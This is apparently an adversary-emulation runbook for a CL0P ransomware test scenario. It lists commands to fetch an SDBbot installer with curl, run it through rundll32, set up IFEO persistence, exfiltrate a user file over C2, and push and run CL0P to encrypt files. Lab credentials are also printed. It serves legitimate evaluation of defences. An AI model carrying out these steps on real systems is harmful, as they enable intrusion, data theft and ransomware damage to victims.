# CL0P Scenario Overview

Legend of symbols:

• 💡 - callout notes
• ❗ - extremely important note
• ➡️ - Switching to another session
• ⭕ - Disconnect from RDP
• 🔴 - Sign out of RDP
• 📷 - take a screenshot
• 🕑 - Record timestamp

• Initiate an RDP session to the Kali attack host corsair (223.246.0.70):

  IP	Username	Password
  223.246.0.70	op1	Subpar-Parabola

• In a new terminal window start the evalsC2server, ensuring the following handlers are enabled:

  • Simple File Server

  • SDBbot

    cd cl0p/Resources/control_server
    sudo go build -o controlServer main.go
    sudo ./controlServer -c config/cl0p.yml

    Password
    Subpar-Parabola

• Right-click within the terminal window and click "Split Terminal Horizontally". Within the new terminal, change directory to the location of the evalsC2client.py and use this terminal for tasking implants.

  cd cl0p/Resources/control_server

• ➡️ Initiate an RDP session to the Windows jumpbox spitfire (223.246.0.90)

• ➡️ From the Windows jumpbox spitfire (223.246.0.90), initiate an RDP session to the Windows victim workstation diagonalley (10.55.4.21) as encryptpotter.net\griphook:

  Hostname	Username	Password
  diagonalley.encryptpotter.net	encryptpotter.net\griphook	Feral-Studs

• Search for Command Prompt and execute the following command.

curl -o C:\Users\griphook\AppData\Roaming\IFInstaller.dll  http://curse-breaker.org/files/installer.dll

• Close the command prompt window.

The victim executes the downloaded SDBbot Installer (C:\Users\griphook\AppData\Roaming\IFInstaller.dll) using rundll32.exe.

The SDBbot Installer contains an embedded RAT payload and, on execution, writes shellcode and the embedded payload as a binary blob to the registry at HKLM\SOFTWARE\Microsoft\skw. Then, the installer establishes persistence using image file execution options injection:

• The SDBbot Installer saves the SDBbot Loader DLL to C:\Windows\temp\tmp8AB2.tmp and creates a symbolic link C:\Windows\System32\msverload.dll linking to the Loader DLL
• The SDBbot Installer adds msverload.dll to the VerifierDlls value for winlogon.exe

• In the RDP session to the Windows victim workstation diagonalley (10.55.4.21) as encryptpotter.net\griphook, search for Command Prompt and right-click to Run as Administrator.

• In the Admin Command Prompt, execute the SDBbot Installer using rundll32:

  rundll32.exe C:\Users\griphook\AppData\Roaming\IFInstaller.dll,install

• 📷 Confirm and screenshot that the payload was executed in Command Prompt.

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

Eventually encryptpotter.net\griphook logs back in to diagonalley (10.55.4.21), executing the image file execution options persistence mechanism.

The SDBbot Loader component reads the binary blob stored in the registry and executes the shellcode. The shellcode will load and execute the SDBbot RAT payload in memory. The SDBbot RAT establishes C2 communication over TCP port 443 and sends discovery output (domain name, computer name, country code, OS version, user privileges, whether proxy is configured).

• Return to your RDP session to diagonalley (10.55.4.21) as encryptpotter.net\griphook

• Sign out of the RDP session and sign back in to diagonalley (10.55.4.21) as encryptpotter.net\griphook

  Hostname	Username	Password
  diagonalley.encryptpotter.net	encryptpotter.net\griphook	Feral-Studs

• On the Desktop, open Inventory_gdlRyr.xls (opens in LibreOffice Calc)

• ➡️ Return to the Kali attack host corsair (223.246.0.70)

• 📷 Confirm and screenshot C2 registration of the SDBbot RAT

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

The attacker will then use SDBbot to discover and exfiltrate files of interest from the workstation.

• Task the SDBbot RAT to enumerate a user directory before exfiltrating files

  ./evalsC2client.py --set-task 0x0000000F '{"id":"execute", "arg":"dir C:\\users\\"}'

• Task the SDBbot RAT to exfiltrate files

  ./evalsC2client.py --set-task 0x0000000F '{"id":"read", "arg":"C:\\Users\\griphook\\Desktop\\Findings_reZGaJ.doc"}'

• 📷 Confirm and screenshot the successful file download from the C2 server output.

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps

The attacker will then use SDBbot to ingress and execute the CL0P ransomware on diagonalley (10.55.4.21). On execution, CL0P will perform the following actions:

• Discover the keyboard layout to check the language and retrieve the font used by the system
• Delete shadow copies and resize shadow storage
• Disable boot recovery options
• Stop various services
• Stop various processes
• Enumerate logical drives and files
• Suppress error dialogues and encrypt files using AES, appending the .C_I0p extension to encrypted files
• Leave ransom notes in affected folders
• Clear Windows Event Logs
• Delete itself on completion

• From the Kali attack host corsair (223.246.0.70), task the SDBbot RAT to ingress the CL0P executable

  ./evalsC2client.py --set-task 0x0000000F '{"id":"download", "payload":"main.exe", "arg":"C:\\Windows\\System32\\SysMonitor.exe"}'

• Task the SDBbot RAT to execute CL0P

  ./evalsC2client.py --set-task 0x0000000F '{"id":"execute", "arg":"C:\\Windows\\System32\\SysMonitor.exe"}'

• Allow 5-10 minutes for CL0P to finish running.

• 📷 Screenshot the result of CL0P execution from the C2 server output.

ℹ️ NOTE: Not all techniques listed in this table directly map to evaluation substeps